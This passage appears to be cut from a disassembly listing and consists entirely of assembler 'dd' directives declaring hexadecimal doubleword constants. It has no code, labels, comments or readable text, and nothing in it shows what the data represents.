66C410B7h dd 90A79C21h, 28F24A65h, 0D48B4476h, 0FCD8AD9Ch, 85629544h dd 0C3C18881h, 2FE29302h, 4F5B9F0Bh, 0E121F841h, 0B6EB9461h dd 2A9ED92Fh, 0EDD9A506h, 8F25FBCBh, 57BD48B2h, 7588EE6Ch dd 8BFCA452h, 7B81BB44h, 0BEEE237Ch, 6918782Ah, 0A569E4C6h dd 0E17B7FE7h, 86C76F64h, 0E4B4DB66h, 2EF81E36h, 3301F8A1h dd 0BE6C361Bh, 460A5C6Eh, 980D5F5Fh, 0CF934FF1h, 0FF44D409h dd 2497EB26h, 28BF22AFh, 0E1F5F91Ah, 708B447Bh, 156572CAh dd 83FC677Bh, 95F630EDh, 9E121EA5h, 29E8B01Bh, 0C7F48BAEh dd 8A4D6904h, 4C142E6Eh, 0B3AA6A77h, 0F2F74309h, 47A2B214h dd 4703AA81h, 0DEBCE710h, 0F4285480h, 0A3F7BE55h, 0AD127D34h dd 8728BF62h, 11671065h, 1C8F958Ah, 3718BE03h, 0EDD31495h dd 0E6DD8B94h, 0AEB0B658h, 0EE0E460Fh, 0E44C0BBEh, 2926FBA9h dd 1CAFDA94h, 9E2BB448h, 6C452AD4h, 6D03BDE7h, 0D329BC8Bh dd 81493075h, 28DB3B0Ch, 0C4C5B03Ch, 0FEFFB276h, 0BAD467D4h dd 0E62384D0h, 296E8C1Ah, 3282D755h, 0A61AA339h, 0D3F2679Dh dd 9D497F4Bh, 0ECBF1010h, 1F950AE0h, 110D2268h, 225ECCD3h dd 0D355E111h, 0F4715012h, 79D31E1Ch, 4FB181FEh, 0F8EF9C0Ah dd 0ABC3F59Eh, 1F848AFDh, 5661A8BFh, 880BA9C2h, 861B9930h dd 0BD670CAFh, 9EC52B8Eh, 2A1F898Ah, 3F7D181Fh, 0D7471B21h dd 95380F53h, 37536DA5h, 0B64DBC9h, 0C24BB5ECh, 6A93D5C8h dd 6B76BE49h, 0E56BA534h, 0A009688Ch, 735D78A5h, 0BF43C2ABh dd 9EF3FCFBh, 920A3AB9h, 3E9CEEE1h, 0CC07AEB6h, 0FD21048Eh dd 6EAAD429h, 68B5FF65h, 0B90ADE07h, 9707DCDCh, 0F5E5FE77h dd 9C49116Eh, 0E0609C8Bh, 6BFABE74h, 0B796C673h, 153F8081h dd 7DD68E3Ah, 997E9A36h, 3F39F7E3h, 440882DEh, 7B255253h dd 8C8D48AEh, 0A8216F6h, 8B87E1F0h, 49C31649h, 34F3A9BDh dd 10A8FB7h, 8F67738Ah dd 3FDCE957h, 0D071D6BFh, 0B2E1234Ch, 0F36055E6h, 7623DD46h dd 0B82E5092h, 0CED8C1DFh, 65381FBCh, 7665BFFDh, 3E85F47Bh dd 6F7B835Ah, 3737C08Fh, 0B659387Bh, 881C7FB3h, 9C4AD1FAh dd 0C1DE3D90h, 46922173h, 0D545247Fh, 0EB51B9AAh, 0BC421F8Ch dd 0A077D61Eh, 0BA38BFD6h, 7B3A0D1h, 13A84AF9h, 0E97B90E0h dd 5AF6D189h, 1DA29D9Eh, 123DF40Fh, 17C72711h, 3FA293E3h dd 7A8AC54Dh, 19CD6E3Eh, 497354A4h, 3DF3592Fh, 5288958Fh dd 4AB89ED8h, 6D1AAACDh, 9CF995A5h, 57ED13E3h, 0EDAB1Ch dd 12DB93CDh, 3A90D52Dh, 4FBBD823h, 0F99A8300h, 3A5C53Ah dd 51595696h, 386D846Ah, 0E7F9957Eh, 4C3E1F7Fh, 3CC16E9Ah dd 0ACE8F5D5h, 0DFBB7936h, 572C2F39h, 2F31492Ch, 0D1F935B3h dd 91AAD038h, 48E1ABE3h, 0BE72933Ah, 52B74548h, 29769897h dd 5C1BCB45h, 0D55564C4h, 0DCBAA122h, 5BF625F0h, 3C6E8D32h dd 4177E0F8h, 0A1A07BDBh, 0F52F1504h, 51B2B33Ch, 0FEFED9Bh dd 0D27B40B6h, 0FC701626h, 15546CE5h, 2836B2B3h, 0DA8DA2E7h dd 6A9F6F15h, 0F0BA978h, 67DCBFC6h, 5962B1E7h, 8BF074FBh dd 7C875606h, 5D699AC1h, 5CD0BEE2h, 758A770Ch, 28A81502h dd 8EB778D3h, 0E6CFA0D7h, 6D9CDB3Ah, 0F73B3A10h, 553FCF07h dd 8112A95Ah, 22F4E097h, 0F6DBD679h, 657E236Eh, 5F8F08ABh dd 6B16183Ah, 1592415Dh, 9B8DE07Bh, 0D50DE737h, 0C3C1F741h dd 52C2FEEBh, 0CB97B59Bh, 1644A494h, 0F4E1C44Bh, 4781FCD1h dd 0E096E54Ah, 0CB8F4356h, 0BEDAD192h, 0B60BFF3Bh, 6D9C3927h dd 0ADFB2F01h, 0CB8BFCB5h, 4A772595h, 6562E95Ch, 4750136Dh dd 5036CA0Eh, 0E7F92A18h, 87EB2169h, 0D8ADDB3Ah, 75899C17h dd 8AAAE01Dh, 209D4FFAh, 210BB793h, 0ACC654F0h, 0F9EA029Fh dd 252FF7F7h, 0A3818517h, 695594BAh, 9A8DA2B4h, 0AC8C43F1h dd 1F5E6372h, 0B5522383h, 0E2441DC5h, 0B655E422h, 1E7A6FD1h dd 580E7BCEh, 0A7072502h, 0A377966Fh, 0ABB3781Bh, 0E2B5A6FBh dd 0BB86E4E3h, 2D7502DDh, 0E67540C2h, 3AB9AEC0h, 48B619B2h dd 46C37AD4h, 7F35D5B4h, 6FD659DEh, 3D2D0475h, 0E0C7DBA0h dd 0D6D7C1E6h, 0B46DE5B0h, 8BA2E9FBh, 1DC256F0h, 3E39FEAEh dd 4F712FCBh, 0A658207Eh, 0C2FF3F87h, 8CDACBFh, 0E0F3AB1h dd 0E4CFF75Dh, 1EAB3381h, 172E590Fh, 0C5E3A3A2h, 8775C437h dd 0B908578Fh, 0B3F35F46h, 0E5C1D69Fh, 0AF1DC4AEh, 0EA9795EAh dd 0C10FC6FEh, 7D4DA4D6h, 0AF2D5562h, 0D37D38ACh, 2E6A5809h dd 0E43F0D2Ah, 0AAA0AED4h, 0E1AC153Ah, 981DFB99h, 0CC6FEAD7h dd 0C722E796h, 8E34F265h, 2BA24C5Fh, 5557F32h, 0FBE2F815h dd 5D9591EDh, 8630057Ch, 5684B352h, 71E4C5D9h, 91BEFA13h dd 6EC337F2h, 426BA439h, 1307C8C6h, 0FCF66D50h, 427287FBh dd 12035AD7h, 194F0456h, 3E6E7FEEh, 47FDC4AEh, 0D3B5629Ah dd 0A31A73EBh, 0F683CFA6h, 937E636Eh, 0F9B12AB8h, 396AA2A0h dd 83FBBF0Bh, 745C057Dh, 7474BB73h, 4B2D290h, 79B8571Eh dd 58AB7364h, 6BD50E66h, 0E4DDE43Fh, 89815697h, 0E6CE5194h dd 509CB351h, 10C0FDFFh, 9E0E1BAAh, 3598AA0Ch, 468168DFh dd 0F0466ED6h, 49ADCD4Fh, 0C00833B8h, 0B8B9AC77h, 23BAA0F3h dd 58688FA6h, 5270E952h, 3A8F9717h, 1B0315D6h, 55017749h dd 15198F8Fh, 22F0DCh, 0A2925983h, 95ADF2DEh, 2C2261FEh dd 8EA10A61h, 3EC34198h, 74576E96h, 5703D9BBh, 49AADBE0h dd 2DDBFE4Eh, 75AFC4B1h, 0DB8C5B72h, 0A732F0BAh, 9CFDE3B0h dd 3C592809h, 5A35F02Ch, 0E796BED3h, 85121DCDh, 0EA2CA07Ah dd 0E75B1A89h, 7E3CA25Dh, 609039B5h, 4BDA25B8h, 1FED641Fh dd 7AFE4321h, 7BB48F9Eh, 0E15CA896h, 0D3AEFB46h, 0B69606A2h dd 56743300h, 997BF46Fh, 0CDE5CF3Ch, 0AE62F0BFh, 85CB538Dh dd 84829101h, 82446D11h, 6AD08AAh, 0E4C256F2h, 0DCE1F57h dd 50053357h, 0E02CA0CEh, 51BDDA86h, 92BA5970h, 29FB7216h dd 90B5B81Fh, 0F51A0D3Ah, 0AE016E81h, 7FB08B17h, 6068F09Bh dd 0AC0FCB86h, 7B0F7077h, 13633EDEh, 0F0A1607h, 9FDA652Bh dd 0ACA9CD4Ah, 76746BCBh, 0AA0EA956h, 5F280BF4h, 7058FCD4h dd 189FF969h, 0DBCE12DBh, 8F25CB88h, 0A4B0BDC3h, 75957E19h dd 6B657DF4h, 67CB46D1h, 0DEB56CC4h, 0E5DE2137h, 93EE6EF4h dd 5B25FF7Dh, 6CFC343Bh, 0F7CCDC28h, 0C365FCBh, 6AE745BBh dd 0FE9CF054h, 0ECBE3DA1h, 7E44D4C6h, 0FDFC3B08h, 0AB4E35CBh dd 0DF04DBh, 0DCD46DA8h, 853E9EE8h, 0ABDDEB61h, 3AF3F093h dd 0F5757878h, 0B82D60F3h, 840D69B1h, 235E688Bh, 7812746Dh dd 6FAAB78Dh, 82F7ED0Ah, 0A23F626Ch, 0FE85EE59h, 4E423099h dd 5AF9135Eh, 90458D4Ah, 251FB696h, 0A6EA33BCh, 37D67A67h dd 0B3EFD7C2h, 27F85339h, 1573372Dh, 16FCCAA8h, 0CD1511Dh dd 0BD475C27h, 0AACAAE15h, 2CC16DB4h, 0D5836ED6h, 4C02BF0Ah dd 4E07C32Eh, 0D2C43A18h, 0BFDE661Fh, 8DD3CB1Ah, 5095F443h dd 6AF783BEh, 0F921ED60h, 77EB8806h, 41BE0F82h, 101D8561h dd 0FB68942Dh, 72B2AC40h, 0D56744E8h, 0C7963A24h, 13C3565Eh dd 3C6A4F9Eh, 0D0E6DEBDh, 63BB5138h, 949C8D54h, 0C3A348AEh dd 0A9BAD1Fh, 1AFD7770h, 0EED7A81Ch, 54A6E8DAh, 2A7DA2C7h dd 9D6A36C8h, 6D4DFBF8h, 3A1983F6h, 0F9F99AEAh, 216A6A00h dd 0A5B780DAh, 3736CFB7h, 0A0E78235h, 0C69E65BCh, 0AB3F18BDh dd 95AAB60Bh, 0BB1A2AC5h, 0E6D7E6A3h, 3B64F183h, 0E1688A4Dh dd 0B0BCBAD4h, 8E2A5556h, 3A6B45ADh, 55E32BA7h, 0B3354A83h dd 0C4A8AAE9h, 9E451A60h, 825C23F1h, 0BCECCD57h, 6D329A9h dd 5DB391A4h, 0CC2127F8h, 2DAA313Eh, 88616321h, 2ED46851h dd 4782D8C1h, 280F5ADCh, 54ED1E5h, 0E77EE1D5h, 0BE0F0E09h dd 81F5EFE6h, 19FA2173h, 51FF6C66h, 82E3DD59h, 12AC5DE0h dd 6B6D3D5h, 0AF255B2Ah, 0AB747861h, 0E9F4B471h, 76EDACDBh dd 0AEB8D07Fh, 3DED56D6h, 3D929E49h, 0A5A52374h, 0E64059D8h dd 9620BB1Ah, 0DC78BD61h, 528EF071h, 75D703FDh, 0AF6D68A6h dd 421DE815h, 0D952BB29h, 91F9C53Ch, 8AED5590h, 2F03E81Fh dd 5A393781h, 5FD14A31h, 7D757719h, 2D3E6541h, 62C9908Eh dd 5B155939h, 307CFE58h, 0D5E3DD78h, 0CC8A7635h, 0D7BAF42Ch dd 7E301C1Fh, 5A181E76h, 0E28197A0h, 0AB979405h, 10671748h dd 4A550E5Dh, 24168F1Dh, 749E4D63h, 0E8C644DDh, 59B7FD0h dd 7F9F187Dh, 0B09118AAh, 0F84F9ED5h, 0F270F072h, 1DC7F9F7h dd 817BA7Bh, 66E9CFB2h, 0AED3C81Eh, 0EAADBBDEh, 8C1A9A64h dd 761F82ECh, 4284A2D1h, 418699A3h, 0E07AFC4Eh, 166B080Ch dd 0BA68585Dh, 696CA02Bh, 0D3928177h, 3EBE3218h, 6AB342B1h dd 2931CC56h, 0FE04D4F7h, 2A37DD55h, 90F0F99Ah, 430470Fh dd 0F69422ABh, 11877E5Dh, 2D1A026Bh, 0B4CB488Ch, 0D4C9015Fh dd 0DFA9C3C0h, 0F56295C8h, 9DDF71D3h, 0E5769D3Ch, 2C7FA156h dd 0C6725CBFh, 0C8CD58A9h, 1CC3F4DFh, 0CA433BF7h, 0E1506FDEh dd 597024ECh, 0B6381F3Ch, 908D6FC2h, 0B16986A9h, 72A1AE9Eh dd 756B5B2Eh, 896257C9h, 1AF78C87h, 9F2DD316h, 9E35BF75h dd 0C5A06CFh, 421CBDB2h, 73746D96h, 0ADAD93EDh, 0EB015E8Fh dd 91269B30h, 3EFC3E7Bh, 43D213C8h, 0DDB6730Ah, 420F4584h dd 2EF75D8Dh, 31CCA85Ah, 31926DD6h, 0B97156BBh, 0C85D78C0h dd 0B25D5AC1h, 0AB19B99Fh dd 55AC4F27h, 5E7F2503h, 5F45DA1Fh, 8EC8D205h, 82AF81F8h dd 6C683EDCh, 529BA58Ah, 276E92BEh, 7B5A1D5Eh, 0B17EF7AFh dd 0CB55DCF9h, 0A3C916C1h, 546E9F72h, 727CE05Bh, 0AEBC5452h dd 941BBEFDh, 50ADF1C1h, 55E5AE01h, 7C8E112Ch, 0C09B28Ch dd 7BE198B1h, 116F0DCh, 97B82D8Fh, 0D783E8E9h, 47F0A17Bh dd 0FC6EA1Dh, 68430F2Bh, 7547042Ah, 0D0E630A4h, 0A50DEE63h dd 0A758AABEh, 0B278ED3Eh, 0D9DC6647h, 2AF3A4ABh, 3E2555FAh dd 0E6F872C0h, 0BB99024Bh, 272A16CCh, 0D555095Fh, 5C0D7C34h dd 3ACBA475h, 0E89E7430h, 0D8004C5Ch, 69B5FAE8h, 7E26EDB7h dd 682BF359h, 0A256DE53h, 8B65545Ch, 2BF9CB47h, 17638D95h dd 282499A8h, 243F07AEh, 8A34D5E8h, 0E9C1E825h, 6A2D8436h dd 0A56897AEh, 4037AB5Eh, 0D00C02BFh, 45F352D9h, 406D14BEh dd 9E7D5FE3h, 195CAE4Fh, 0C2378668h, 0A7B9F0D7h, 0CDA21627h dd 0F6D8AD2h, 85A08AB8h, 34DC3F43h, 0ADA302CEh, 927E073Ch dd 0BC6BB643h, 5A09FE72h, 78A5F844h, 84607E55h, 0BFE7AFE0h dd 0D37EC2Ah, 97050E33h, 4DCB2964h, 6027D01Eh, 4BD80DBEh dd 0A1DA2CCEh, 0A0E36161h, 0CEF77B6Ah, 68DB8E2Eh, 8B931153h dd 2CA04B3Dh, 0EBE0FD80h, 0B0341199h, 0DB2E81ECh, 0D1C9C0F8h dd 2317DE2Ah, 475792F6h, 884F083Fh, 0F274B530h, 0CC2DFE55h dd 7CAB086Eh, 0DFF208A5h, 206524B0h, 0C54D46F2h, 545BECFEh dd 3F8F02AFh, 89B020E3h, 0AB0DD49Eh, 0F015B35Dh, 5C11B256h dd 77676317h, 55846268h, 5F07FC17h, 4AA5857Ah, 82E8042Eh dd 29F81F9h, 0E83539CEh, 2393954Eh, 0CA3F1AAEh, 520AE892h dd 9547A592h, 0DF9FC591h, 7F83AB44h, 5A72A8C8h, 0DDFC3AC1h dd 69E3EDEEh, 0B0BD7821h, 0B5543F65h, 0FC014A07h, 5D27649Ah dd 0B5E20348h, 0C2F9968Eh, 0F880B56Ah, 0A8AAB162h, 5A35F81Fh dd 8F3E1EABh, 8A270771h, 1C86930Fh, 9DE3A3EAh, 60D4AAA8h dd 0BEDB486h, 0D6292764h, 0D7568A2Dh, 1B66703Dh, 0B57102E4h dd 41B03E68h, 0AEEF1736h, 2FEEACC8h, 7D361E31h, 596C43D1h dd 87834A62h, 62A7D3C7h, 2BAD95D5h, 3CF3B1C2h, 0DC1AAA37h dd 0CE08BAB5h, 0D20D8F08h, 9A581FE0h, 5D59E9EDh, 683A7958h dd 0EB7AAC7Eh, 94B974B3h, 115E188Eh, 2D22EBBCh, 2FC6F1DAh dd 2674B513h, 890F342Ch, 7DBEBD31h, 50E4E66Ch, 324542F1h dd 0F0049248h, 7776F521h, 0A6776F7h, 6703C896h, 2D4AE2A1h dd 895D016Eh, 0A9C171ADh, 48523338h, 7D85D250h, 0D8A410B4h dd 436101FFh, 0F49602CCh, 7AFD5975h, 3D6B67B4h, 0E49D8D75h dd 0C336F25Dh, 0FF76BAAh, 1295EB92h, 2992F32Ah, 846CD6C9h dd 485224DAh, 0D3827F41h, 0E317DF7Dh, 952C249Ch, 57C53F4h dd 0BB55D4B2h, 0D52E0FB9h, 723EEE58h, 0BEFC32D8h, 8A05980Bh dd 76BCE0DCh, 0EC4191B5h, 2BFDDC7Ah, 83414Ch, 8183A129h dd 9F61522Ah, 5BAACB51h, 1EF89CCh, 538DACB7h, 7523C8F7h dd 94D57314h, 4AFAAB9Ch, 37E61035h, 0BD695A5Ah, 3D8A56DEh dd 6A5A2D3Ah, 5A1A50EBh, 481EFF68h, 0F7D51B8Ch, 0BA63A6FDh dd 0D419B292h, 0E50F4EBEh, 96A13123h, 0D157306Ch, 3F3D7D0Dh dd 0A2BE25A2h, 2F3E0302h, 5673699Bh, 645B7923h, 0AB7050FCh dd 7243F57h, 3B53CEA8h, 317D956Ah, 2AB4B495h, 78A12AB3h dd 680BA520h, 0C91CABBAh, 4C5F1F0Ah, 0AC5CDF7Ch, 894A6FA2h dd 9776932Fh, 7F35BB76h, 515535D3h, 0F7465553h, 9602EF54h dd 897AFC52h, 0D0A74795h, 0DE0B1A49h, 3678F69Dh, 4DD56AA1h dd 0EFC52ABDh, 80DB79E5h, 7F691FD6h, 0EB24F732h, 9D899E47h dd 704E378Dh, 56B0621h, 6B1AE1E4h, 0E1D6783Ch, 0B8DBC2F6h dd 7B03E1FFh, 12E9BA10h, 597524DBh, 0F8E785F2h, 0AC2A9E01h dd 4CBFF55Ah, 69B35C1Fh, 1474A72Ah, 26BAF631h, 0E5CC4832h dd 1837A22Eh, 79CE559Fh, 736E265Fh, 8512A5E2h, 1D7A407Fh dd 47C4BC45h, 2A672274h, 7F7F1DD6h, 0C594E930h, 3EBCF7ABh dd 48FCC17Eh, 0E8213933h, 0B14FA72Eh, 0C8B6BBE3h, 93FE2EE7h dd 8667A763h, 1906FDA3h, 7C62ED69h, 0D6CA2FCAh, 0C94F60CBh dd 94E5B5D1h, 0C0CAF42Ch, 21707009h, 5638732Ah, 6F57B965h dd 0E4F3247Bh, 8358DE30h, 2F5B8FBEh, 0E0DD1122h, 0C0380ABAh dd 7C728386h, 0E75EE3F1h, 0C85010BEh, 820D72AFh, 0A36D91A9h dd 5564A26h, 7D255654h, 4015BC15h, 44F16841h, 995F4494h dd 0D752F3B3h, 375A92C6h, 0FB953245h, 5BB4C0F7h, 0B439D8CDh dd 0D4BF4EA7h, 2EED4F01h, 7755236Bh, 12ABFA46h, 0F1581764h dd 300A069h, 5C2FE092h, 0C7F4D492h, 0FC8EECDAh, 0E1D1B45Fh dd 0A6ABE3CBh, 738DC272h, 8057515Fh, 3CD3DDB9h, 78FED300h dd 0AE46092Bh, 0F52BC7BDh, 9CDFA36Ah, 49AD5338h, 54C44B59h dd 6F2E55CAh, 1AA5A95Dh, 0E652F7E5h, 0DD5268D2h, 52C6D2ABh dd 68D5CBECh, 0D552D5DCh, 21E90FC1h, 0FAE1189Ah, 72A0F0Dh dd 0A8CBD6C1h, 5D7219Eh, 4CB2789h, 76B15026h, 76F85773h dd 0C531B05Ch, 70C4715h, 0FC064B53h, 0F2F370B7h, 7812F1EFh dd 0BE6E585Fh, 0F6478334h, 0D1022F63h, 98FD8462h, 0FD75BE1Bh dd 0BC20C66Ch, 7F7EC59Ah, 7BB3D28Fh, 66924225h, 9C353887h dd 41CB16EBh, 14579983h, 0AF45E3BFh, 17D2AE12h, 0BB436032h dd 0E3764A7Bh, 0A5CF6F08h, 0ECB55561h, 568A8D38h, 0C158EE16h dd 8B92ABD0h, 0C9FDE6BEh, 0F095CB7Ah, 72752D6Dh, 0C421BBF2h dd 51B74342h, 2CBED6Eh, 9891FEE6h, 4B1D7BF9h, 116E8BFh dd 41D9D751h, 72D82AA8h, 0C540F0F0h, 0F5FCE442h, 933C4C16h dd 10A91493h, 0A0229EFh, 0C0862E7Ah, 96916A04h, 6FDDC132h dd 5FF525C9h, 0C833B010h, 41B7E1D5h, 0D89D366Ah, 0FA39A596h dd 0A4059DAFh, 0A92ADACh, 511E8BC9h, 9578654Eh, 9DA95EA4h dd 0A2A7822h, 0A345D3EFh, 4BFB314h, 0AF99577Eh, 98E880D5h dd 0F3771D68h, 15E6A12Dh, 0E29FAE35h, 0E6C6EE0Dh, 7452A430h dd 7B6E0AF0h, 1278C057h, 23795984h, 99C71091h, 0BDF56BABh dd 60C579B6h, 0A59EB5BCh, 0F77D8372h, 0D180EA89h, 0BDBA96BBh dd 0D2AD1E83h, 0E3B5951Bh, 464B23DFh, 0B72E9D46h, 8FD1C1C0h dd 7E24D9C5h, 3CCE6A55h, 9ED2B970h, 5391B3F2h, 581AF125h dd 0F3F07DF8h, 15388ED1h, 5E1CBABEh, 0D39C5EC6h, 3B5175Ah dd 0F6ACF0D5h, 0F05FA9DFh, 277BC657h, 0C17CDBEAh, 247F25B2h dd 0CED51579h, 0ACFA2AA5h, 0BB7009F0h, 4A4470FFh, 0C0F1A1Dh dd 0E1813C49h, 5E32ABF8h, 40672AF6h, 8B1F766Dh, 0B88DAA22h dd 0DEBA788Ah, 2AE9AE3Fh, 84CDB4B5h, 0CABCC1C7h, 9F84BE49h dd 8564705Eh, 43B9C896h, 4E702BF6h, 0F5873105h, 604BB981h dd 990F2281h, 0C5CA4C8Dh, 0A6EF607Dh, 0DFEAA726h, 0F4DB8762h dd 2BE38717h, 0F9720E7Bh, 0BEA5FD56h, 53D86FD3h, 44173AC0h dd 4644D59Ah, 6B87100Dh, 3DD4942Ah, 58BF52A0h, 0F58FC3B4h dd 784679BEh, 973625AAh, 0EC0BDD9Ah, 3A289BFEh, 17FC24h dd 95585FDCh, 8707267h, 8132FEB0h, 0D270AAD5h, 0FFDB085Ah dd 8A5ECBDDh, 8E60CB27h, 0E7015B15h, 3FA7BE79h, 0B3AE58DFh dd 3EB5832Fh, 0ACE85F3Fh, 0DDE46F15h, 0F1FFBF25h, 7E1A51DDh dd 0A2FAE7D0h, 0C0F037C5h, 0B35485F4h, 1FCAAF8Ch, 2EF6E7B0h dd 3EFE0FD3h, 89E05F30h, 9B997806h, 4F72B7C3h, 295C5794h dd 6D236E7Ch, 0F116153Bh, 386C0F22h, 0B17A993Ah, 7CD6A50Bh dd 0C3B17970h, 2C17C74Ah dd 0B580713Bh, 578AAD2Ch, 20F61ADDh, 0BF5D4B8Ch, 0B44B3AD7h dd 6BFBA3B9h, 250B4DDh, 0EF6BA6D0h, 0FD11A2EAh, 80C3B5B3h dd 0FCCDC2B7h, 413580BFh, 0E0857EB2h, 37AA5611h, 314A5E1Fh dd 3B71A924h, 0D25CBD73h, 64B28259h, 0DBEC2189h, 947079EEh dd 0A82E45BFh, 321D02B3h, 2B6ED43Dh, 30B3D572h, 11B97023h dd 982C26B5h, 0A95A293h, 0D89D9355h, 6F02B7C1h, 0D4CD9FE5h dd 7470A2F6h, 44303F9Ah, 25A2E1DEh, 2DC1E8Ch, 0E72AA53Eh dd 84DF4222h, 0BBDECB45h, 5FE79531h, 0DAF7583Dh, 0B3B84463h dd 19116895h, 0AE91ADB8h, 0E2A9444Ch, 0E7A32FD1h, 0C62BA156h dd 356DFB98h, 2554FA67h, 6D1629CEh, 19F026C1h, 5F1FC893h dd 9AEA40B3h, 86CD9FDDh, 881E5DFFh, 8C6DCF81h, 0C23B1A96h dd 53AEBE71h, 73E70DF9h, 0CB626AEAh, 428BBF66h, 0A02AD6A9h dd 0F857F136h, 0FAD1383Eh, 0A862B906h, 9E790DA2h, 3361FBE7h dd 943CA1C8h, 73329F62h, 48642CD8h, 49EBDB54h, 49CCBB69h dd 2A69A6B1h, 64F03EB9h, 0B7D2B7CCh, 2FC3885Eh, 63CF79CFh dd 8FB6B73Ah, 0AA91A8F3h, 7D92CF80h, 0AF677AF4h, 1D4787E2h dd 0ED1A81A9h, 0CE6643E3h, 5FCF5561h, 0EEFB2A8Fh, 0E439D60Eh dd 6C1C72A2h, 16BF483Eh, 2EC9247Bh, 2AD6FA9Ch, 0C2AD446Ah dd 0F68A4546h, 7607252h, 9E29F059h, 2A7EFBC1h, 7F477F8Dh dd 0C2B897F8h, 5EB41D6Ah, 354ED135h, 846724F5h, 0B48FCF83h dd 0EB1BEE56h, 10BA1585h, 502D465h, 768A52DDh, 616F74F8h dd 0D5ABB5EEh, 1D4317C5h, 45599DBh, 5D367A2Eh, 0ABACFF6Ch dd 9E3DA1CEh, 14DEBB7Ah, 0ADEC537Bh, 8A378B9Bh, 17BA8075h dd 598EC1DEh, 278AC144h, 4174316Ch, 4459E0A4h, 0B4EB11B8h dd 0C0A6DDC0h, 0ADF292Bh, 49A68C3h, 0FB0DE768h, 0FE138003h dd 0B887487Ah, 0D77C7544h, 35313D25h, 0ED96CFF8h, 912D1A0Dh dd 0C50BD306h, 0E15AE6CBh, 0D10BC5Eh, 0FF0A103Eh, 7B7B9AC6h dd 0EC56B54h, 1EAC771h, 0FE1B6C30h, 7B5B2343h, 0C17A78C5h dd 0BDDB2070h, 0E171D058h, 5D2AF5D5h, 0F69FCDBEh, 78DAEF8h dd 413FD68Dh, 5AA2CB7Ah, 36789AA9h, 1C0F2753h, 0C5FA399Fh dd 6FAF4B81h, 8B2FE987h, 2E0AE5EFh, 0B4251E29h, 0C3EB36B2h dd 0ED8F9658h, 5C0F80BBh, 9AAE024Fh, 0EAB381F1h, 0CC5AAC88h dd 70F45837h, 3A9BF168h, 0B02967Bh, 885E677h, 4D3AD251h dd 96843FF3h, 0E660788Bh, 0E43409BFh, 0DE7298C8h, 0AF884956h dd 0B47AA6B7h, 59CD7815h, 7B445FB6h, 0D606FA98h, 2AEDA878h dd 0DC2AF969h, 541DE476h, 0B45D3E76h, 0DEA16C7Bh, 0F6836922h dd 82338BFDh, 0D6F03E7Bh, 3736CFCEh, 1BEEB2CFh, 4DEA9FAh dd 0F0C2F9F2h, 0B2C6F81Ch, 0BA07FF9Dh, 8B22FFC4h, 961570BAh dd 0B6654057h, 57396984h, 0F8C895F0h, 0DF39E7DCh, 4496BB87h dd 81E1E4B8h, 0FC031FB5h, 81C5FF5Fh, 0B82F63B4h, 25CDC42Fh dd 0B1E0DC77h, 7CAECB5h, 6AF0667Dh, 0B1EDDE93h, 7F10D4E7h dd 1E8CA391h, 0BE3A93C5h, 171F4AFBh, 40DFB32Bh, 0E02958A3h dd 0E02BE3A6h, 2EDB2024h, 0F5336967h, 0A3E2116Bh, 7788DB8Bh dd 0DE398CEDh, 0FE5628BBh, 0E670DD77h, 4AF6D2E4h, 0DA513776h dd 0F015F879h, 0D6AABD95h, 1ABDA213h, 9BEC5201h, 17397C02h dd 89B7C20Ah, 0FB4D9643h, 9B1EEA8Eh, 26CAAA6Ah, 0BC5FE7B9h dd 0BF7DF169h, 67E9A2B8h, 0E8EC6B20h, 70D69E9Bh, 0CEEFF10h dd 0C4F61CDFh, 9F82085Ch, 0CE8850B4h, 0F61D09B0h, 0DF05DBD9h dd 0A4B31B8h, 5D6EDCF4h, 14A27757h, 63DB91D1h, 7764E2FFh dd 0C83E60Bh, 0FC3D702Eh, 0DEC15FB4h, 0B278B9E2h, 8ABF4829h dd 0E5D8ADEFh, 55206BB5h, 0CDB5FCADh, 0BD39D5Ah, 358EEAAFh dd 0C673F66Ah, 2AF7C33Fh, 69270657h, 99C0F7EEh, 52C38AB3h dd 2D95E39Fh, 517C5766h, 600B71FDh, 0CC3AB784h, 5FA75974h dd 7670EACh, 4DA26B41h, 0E0FD1E7Dh, 3F3F3AB7h, 6A980936h dd 999B8BF0h, 0C25CE56Fh, 0E56E028Eh, 3A8CB1D9h, 0D84B12FBh dd 0DC9633C1h, 0C387E388h, 0C215FB5Dh, 9779DC90h, 5A4AB88h dd 0D1CDC83Ch, 0F11D2957h, 0A393C8ABh, 0E034FF9Eh, 695BACC3h dd 0CD67258Eh, 0BD4A8073h, 0F1251BEBh, 0EDC2B9h, 9CB456A5h dd 0D2AC83EDh, 164FBE5Dh, 0E26A0519h, 13719A79h, 7F05A0BEh dd 4D6CDB5Dh, 465DE0C1h, 55460AD1h, 38847EB1h, 4E7D598Eh dd 72B3A765h, 0A6E8DC49h, 3147F49Ch, 0BB33DB46h, 1354B49Bh dd 54CA4965h, 8AE29362h, 2E802B62h, 0F0375274h, 0EB63F963h dd 8A867FAFh, 8EECB5Ch, 0B445BCAEh, 35AA76F8h, 3E088AFCh dd 0D8607E45h, 36908AC2h, 0F775A885h, 0DF9E23B6h, 0D9B6D923h dd 3C546F24h, 0D70EA98h, 0F02C98F5h, 0DD2C2AD3h, 0E9C77273h dd 0E0F9D3F3h, 0A37066B1h, 3E81EC5Ah, 8F47D617h, 0AE894ED4h dd 814BC4D5h, 6253F929h, 87531AACh, 0AFD451B7h, 0D17C0F87h dd 97ECA02Dh, 3512C10Fh, 7129E25Dh, 7421AD3h, 327ABAD8h dd 0A5B7F00Ah, 44DA4418h, 7F3C8B76h, 29CA9B23h, 69FE7837h dd 0D43A177Eh, 0E7A67C0Bh, 44915518h, 5AAB7E51h, 9639AC02h dd 9C5EC177h, 1910C71Fh, 0EFC6EB43h, 3EBA3035h, 0AB6EDF58h dd 5D1655E8h, 0A233ACA8h, 0F1CFAD5Ch, 44CBFCE1h, 705E33EDh dd 0F7C21FFh, 0A3513568h, 6A99F9C6h, 0BA145E85h, 5FB3317Dh dd 651AC1F8h, 571094ABh, 0DA0E4EB1h, 0AEE9B095h, 988BBF17h dd 0A6079DF8h, 7760271Bh, 2527AD5Ah, 0B5A33FAFh, 19FB8E2Dh dd 76A4655Dh, 0BB537D9Fh, 4DE4EA7h, 3E6DD62h, 2AB1A2FEh dd 0EC65DAF1h, 542FC6B4h, 456534C2h, 0BEC9D05Fh, 0DBF2B0FCh dd 17D696A7h, 0FB4C6CBFh, 0CFA2E619h, 0CA884A37h, 0CA519D9Bh dd 0CD7BEE5Fh, 0D46219EDh, 0FF396778h, 0D4829CD7h, 383E7823h dd 0CAB5D42Dh, 6C11EE54h, 1554FE4Ch, 